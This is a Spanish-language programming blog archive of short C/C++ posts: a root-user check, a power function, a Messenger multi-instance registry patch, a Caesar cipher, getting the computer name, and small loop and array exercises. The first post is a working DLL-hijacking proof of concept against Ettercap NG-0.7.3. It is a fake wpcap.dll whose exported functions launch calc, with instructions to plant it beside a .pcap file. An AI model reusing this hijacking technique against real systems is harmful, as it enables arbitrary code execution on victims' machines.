C/C++
Ettercap NG-0.7.3 DLL Exploit
8 abr
---------------------------------------------------------------------- Exploit Title: Ettercap NG-0.7.3 DLL hijacking (wpcap.dll) Autor: $ slashdot Testeado: Windows XP SP3 Extensión Vulnerable: .pcap ---------------------------------------------------------------------- #include <windows.h> #define DLLIMPORT __declspec (dllexport) DLLIMPORT void pcap_findalldevs() { evil(); } DLLIMPORT void pcap_close() { evil(); } DLLIMPORT void pcap_compile() { evil(); } DLLIMPORT void pcap_datalink() { evil(); } DLLIMPORT void pcap_datalink_val_to_description() { evil(); } DLLIMPORT void pcap_dump() { evil(); } DLLIMPORT void pcap_dump_close() { evil(); } DLLIMPORT void pcap_dump_open() { evil(); } DLLIMPORT void pcap_file() { evil(); } DLLIMPORT void pcap_freecode() { evil(); } DLLIMPORT void pcap_geterr() { evil(); } DLLIMPORT void pcap_getevent() { evil(); } DLLIMPORT void pcap_lib_version() { evil(); } DLLIMPORT void pcap_lookupdev() { evil(); } DLLIMPORT void pcap_lookupnet() { evil(); } DLLIMPORT void pcap_loop() { evil(); } DLLIMPORT void pcap_open_live() { evil(); } DLLIMPORT void pcap_open_offline() { evil(); } DLLIMPORT void pcap_setfilter() { evil(); } DLLIMPORT void pcap_snapshot() { evil(); } DLLIMPORT void pcap_stats() { evil(); } int evil() { WinExec("calc", 0); exit(0); return 0; }
Compilar y renombrar a wpcap.dll, crear en el mismo directorio que el archivo .pcap
Saber si se está ejecutando como root
21 dic
En algunos casos necesitamos que nuestra aplicación sea ejecutada como usuario root en GNU/Linux. Por lo cual, debemos de comprobar cuál usuario ejecutó la aplicación.
En este caso lo haré en C++ y usando la función getuid(), la cual retorna el Id. del usuario ( User ID, UID ) que es un número único y hace referencia al usuario en el archivo /etc/passwd.
Si abrimos el archivo anterior podemos encontrar en la primera línea lo siguiente:
root:x:0:0:root:/root:/bin/bash
El cuarto valor sería el identificador.
Bueno, no siendo más voy con el código. En este caso, diseñé la función IsRoot() que retorna 0 si se ejecutó como root y 1 si no.
#include <unistd.h> #include <iostream> using namespace std; /* * IsRoot() */ int IsRoot() { int sUser = getuid(); if (sUser != 0) return 1; else return 0; } int main() { if (IsRoot() == 0) { cout << "-- Root Calc --" << endl; cout << " 2 x 2 = " << 2*2 << endl; } else cout << "Debe ejecutar como root" << endl; }
Potenciación de números naturales en C/C++
12 jul
La potenciación es una expresión matemática que consta de dos términos denominados: base (a) y exponente (n).
Se escribe: y se lee «a elevado a la n». Siempre y cuando sean números naturales ésto equivaldría a multiplicar la base por sí misma el número de veces indicado por el exponente.
Programando cálculo en C/C++Para calcular la potencia de un número, podemos recurrir a la función pow(); ya implementada, que se encuentra en <math.h>. O bien hacerla nosotros.
En éste caso elegí la segunda opción. Hacer nuestra propia función para cálculo de potencias. Vamos a manejar variables del tipo double, ya que son más cómodas para trabajar con potencias.
Declararemos la función de la siguiente manera:
double potencia(double base,double exponente);
Bien, ahora a trabajar en ella. Según la declaración, tenemos dos variables a las cuales podemos acceder, pero necesitamos declarar otra, la cual contendrá el resultado de la operación matemática que haremos.
double potencia(double base,double exponente) { double temp = 1; /* Parte de código */ }
Aquella variable la inicializamos en «1», ¿por qué?, porque ésta es necesaria multiplicarla por la base, y teniendo un valor nulo, no nos serviría.
Bien, ahora para multiplicar la base por el número de veces declarada por el exponente usaremos el bucle for, con él multiplicaremos la variable temporal por la base el número de veces declarado, y Más >
¿Cómo crear un parche para multi-sesión en Messenger?
23 jun
Últimamente ví muchos parches de «poligamia» o multi-sesión para usar en Windows Live Messenger® (WLM). Así que decidí programar uno, llamado FoxyMSN….Bien ¿Pero cómo es su funcionamiento? ¿cómo se hace un parche de éstos?.
El funcionamiento de éstos parches radica en manejar y escribir en el registro de Windows®, específicamente en la llave:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Live\Messenger\
Para permitir que se ejecute más de una instancia de la aplicación, necesitamos crear un valor de DWORD (32 bits), llamado MultipleInstances, dónde: 0 = Desactivado y 1 = Activado. Ok, todo perfecto hasta ahora, pero…¿Cómo hacemos una aplicación que haga todo éste proceso de forma automática?.
Basándonos en un pseudocódigo sería algo como ésto:
Procedimiento RegMultiplesInstances(Valor);
Empezar
Reg es Registro;
Reg.AbrirLlave = HKEY_LOCAL_MACHINE;
Reg.AbrirSubLlave = 'SOFTWARE\Microsoft\Windows Live\Messenger\';
Reg.Escribir('MultiplesInstances',Valor);
Reg.CerrarLlave;
Reg.Libre;
Fin;
Pongo un código para dejar más ilustrada la explicación anterior (Extracto del código del FoxyMSN).
void MultipleInstances(int Clave) { TRegistry *Registry = new TRegistry; Registry->RootKey = HKEY_LOCAL_MACHINE; Registry->OpenKey("\\SOFTWARE\\Microsoft\\Windows Live\\Messenger\\",true); Registry->WriteInteger("MultipleInstances",Clave); Registry->CloseKey(); Registry->Free(); }
Ahora podrán practicar y sacar sus propios parches .
Nota: Cabe aclarar que existe otra manera de parcharlo y es modificando un byte en el ejecutable, pero se pueden correr riesgos de inestabilidad en el mismo.
Para finalizar, publicaré el código fuente del FoxyMSN, está escrito en C++ y compilado con el C++ Builder.
- FoxyMSN – Código fuente ( http://www.box.net/shared/9390hu1g7l )
Más >
Cifrado César en C++
24 may
Versión en C++ del algoritmo de cifrado César, programada por mí.
/**************************************** @---------------------------------- @ Autor original: [p3ll3] @ Version original: Java @ Autor modificacion: .:WindHack:. @ Version modificacion: C++ @ Sitio web: - http://daw-labs.com - http://foro.code-makers.net @---------------------------------- *****************************************/ #include <iostream> #include <string> using namespace std; /* Declaracion de variables.. El abecedario que usaremos para el cifrado. */ char Abecedario[]={'a','b','c','d','e','f','g','h','i','j','k', 'l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z'}; string Palabra,NuevaPalabra = ""; unsigned int i,x,ALength,Temp,Tmp,Clave = 0; /* Funcion para convertir una cadena de texto a minusculas. */ string StringToLower(string strToConvert) { for(unsigned int i=0;i < strToConvert.length();i++) { strToConvert[i] = tolower(strToConvert[i]); } return strToConvert; } /* Instancia principal de la aplicacion. */ int main() { cout << "Escriba la palabra que desea cifrar > "; /* Pedimos la palabra */ cin >> Palabra; /* La recibimos y guardamos en la variable "Palabra". */ Palabra = StringToLower(Palabra); /* La convertimos a minusculas. */ ALength = strlen(Abecedario); /* Obtenemos la longitud del abecedario */ cout << "Escriba la clave para codificar (entre 1 y 24) > ";/* Pedimos la clave de cifrado. */ cin >> Clave; /* La recibimos y guardamos en la varible "Clave". */ if ((Clave >= 1) & (Clave <= 26)){ /* Confirmamos si es correcta...*/ for (i = 0; i < Palabra.length(); i++){ /* Recorremos la palabra hasta el final. */ for (x = 0; x < ALength - 1; x++){ /* Recorremos el abecedarios. */ if (Palabra[i] == Abecedario[x]){ /* Buscamos caracteres que estén en ambos. */ if (x+Clave >= 26){ Temp = x+Clave; Tmp = Temp-26; NuevaPalabra = NuevaPalabra + Abecedario[Tmp]; /* Creando la palabra. */ }else NuevaPalabra = NuevaPalabra + Abecedario[x+Clave]; /* Creando la palabra. */ } } } }else cout << "Clave errónea"; cout << "La palabra cifrada es " << NuevaPalabra; /* Muestro la palabra cifrada. */ getchar(); return 0; }
Una alternativa un poco más cómoda:
/*
===================================
@Autor: Más >
Obtener el nombre del PC
16 may
Con éste código obtendremos el nombre del PC. Se emplea la API de Windows® GetComputerName.
En C++:
/* DaW - Labs - http://daw-labs.com */ /* .:WindHack:. */ #include <windows.h> int main() { char Buffer[MAX_COMPUTERNAME_LENGTH + 1]; DWORD nSize = sizeof(Buffer); if (GetComputerName(Buffer,&nSize)) { MessageBox(0,Buffer,"Nombre de PC",MB_OK | MB_ICONINFORMATION); } return 0; }
En Delphi:
(* Autor: .:WindHack:. Sitio web: http://daw-labs.com Clase: Función Descripción: Obtiene el nombre del PC usando la API GetComputerName. *) function GetPC_Name():String; var Buffer:Array [0..MAX_COMPUTERNAME_LENGTH] of Char; BufferSize:DWORD; begin BufferSize := SizeOf(Buffer); Result := ''; if GetComputerName(Buffer,BufferSize) then Result := Buffer; end;
Número par o impar en C++
16 may
Con este código se puede determinar si el número ingresado por el usuario es par o impar.
/* DaW - Labs - http://daw-labs.com */ /* .:WindHack:. */ #include <iostream.h> bool ParImpar(int Num) { if (Num % 2 == 0) return true; else return false; } int _tmain() { int n; cout << "Introduzca un numero > "; cin >> n; if (ParImpar(n)==true) cout << "El numero es par..." << endl; else cout << "El numero es impar..." << endl; system("pause>nul"); return 0; }
Programado en C++ Builder.
Comparación de palabras en arreglos (arrays) diferentes
15 may
La cuestión es sencilla, necesitamos comparar cuáles palabras están en ambos arreglos (arrays ).
Pero…¿es posible hacer esto?, claro que lo es, para ello lo haremos en dos lenguajes diferentes.
El primero será en C++ y fue originalmente programado por JaAViEr.
#include <iostream> using namespace std; int main() { char *nombrex[]={"Javier","Alex","Void","Animalf","Bolivianito","RockoX","3D1","Vart","Ranefi"}; char *nombrey[]={"Javier","Esteban","NA","Ranefi","Alex","ELEMENTO","2D1","WUALA","CUEK"}; for(int i=0;i < 9;i++) { for(int a=0;a < 9;a++) { if(nombrex[i]==nombrey[a]) { cout << "La palabra " << nombrey[a] << " Coinciden en ambas listas." << endl; } } } }
Ahora mi versión en Delphi.
program Project1; {$APPTYPE CONSOLE} uses SysUtils; var NombreX: Array [0..4] of String =('Sebastian','Camilo','Milton','Julian','WindHack'); NombreY: Array [0..4] of String =('Sebastian','Diana','Spektrum','Camilo','Milton'); I,A:Integer; begin try for I := 0 to 4 do for A := 0 to 4 do if NombreX[i]=NombreY[A] then Writeln('Las palabras '+NombreY[a]+' Coinciden...'); ReadLn; except on E: Exception do begin Writeln(E.ClassName, ': ', E.Message); ReadLn; end; end; end.
Paso a explicar un poco:
Empleamos el bucle for y la condicional if para realizar esta tarea. Buscamos las palabras y las comparamos con el otro arreglo, si este llega a ser correcto mostramos en la consola el mensaje con las palabras correctas. Si se necesita comparar con más arreglos simplemente agregamos otro bucle y modificamos la condicional.program Project1; {$APPTYPE CONSOLE} uses SysUtils; var NombreX: Array [0..4] of String =('Sebastian','Camilo','Milton','Julian','WindHack'); NombreY: Array [0..4] of String =('Sebastian','Diana','Spektrum','Camilo','Milton'); NombreZ: Array [0..4] of String =('Sebastian','Diana','Spektrum','Camilo','xD'); I,A,B:Integer; begin try for I := 0 to 4 do for A := 0 to 4 do for B := 0 to 4 do if (NombreX[i]=NombreY[A]) And (NombreY[A]=NombreZ[B]) then Writeln('Las palabras '+NombreY[a]+' Coinciden...'); ReadLn; except on E: Exception do begin Writeln(E.ClassName, ': ', E.Message); ReadLn; end; end; end.Más >
Bloc de notas en C++ Builder
14 may
Estaba aburrido, no tenía nada que hacer, así que me puse a programar algo en C++.
Éste es un bloc de notas sencillo, pero con las funcionalidades esenciales. Perdonen si hay errores o si el código no está completamente optimizado, pues no programo mucho en este lenguaje.
Espero sirva de base o mejor dicho de ejemplo.
Programado en: Borland C++ Builder
Descargar: Box.net – Notepad(C++).rar
Tablas de multiplicar
13 abr
Bueno, este principalmente es un código publicado por Javier (JaAViEr), en el cual hace una tabla de multiplicar usando el bucle while en C++. Me pareció interesante aunque realmente su uso no es muy funcional, pero divierte un poco.
Dejaré la aplicación original en C++ y pondré unas traducciones que hice a otros lenguajes.
- C++ (Original by Javier)
#include <iostream> using namespace std; int main() { int n,t,x=0; cout << "Ejemplo: Empezar:2 - Terminar: 10" <<endl; cout << endl << "Numero a Empezar > "; cin >> n; cout << "Numero a Terminar > "; cin >> t; while (x<=t){ cout << n << "x" << x << "=" << x*n <<endl; x++; } }
y aquí mis traducciones :
- Pascal
program project1; {$mode objfpc}{$H+} uses {$IFDEF UNIX}{$IFDEF UseCThreads} cthreads, {$ENDIF}{$ENDIF} Classes { you can add units after this }; var N,T:Integer; X:Integer=0; {$IFDEF WINDOWS}{$R project1.rc}{$ENDIF} begin Writeln('Ejemplo: Empezar:2 -> Terminar:10'); Write('Numero a empezar > '); Readln(N); Write('Numero a terminar > '); Readln(T); while X<=T do begin Write(N,'x',X,'=',x*N,' '); Inc(X); end; end.
- Python (Soy novato en él, así que perdonen errores…)
print("Tabla de multiplicar") X = 0 N = input("Introduzca el numero a iniciar > ") T = input("Introduzca el numero para finalizar > ") while X <= T: print N,"x",X,"=",X*N," " X += 1
- Ruby (Ni hablar apenas aprendí hoy, xD)
print 'Tablas de multiplicar' print 'Introduzca el numero a iniciar > ' Num = gets.chomp print 'Introduzca el numero para finalizar > ' Ter = gets.chomp X = 0 #Bucles N = Num.to_i T = Ter.to_i while X <= T print N,'x',X,'=',N*X,' ' X += 1 end
Agrego la traducción a Java gracias a Jh0uBrt.
import java.io.*; public class Mult { public static void main(String[] args) throws IOException { BufferedReader linea = new BufferedReader( new InputStreamReader(System.in)); System.out.println("Tabla de Más >

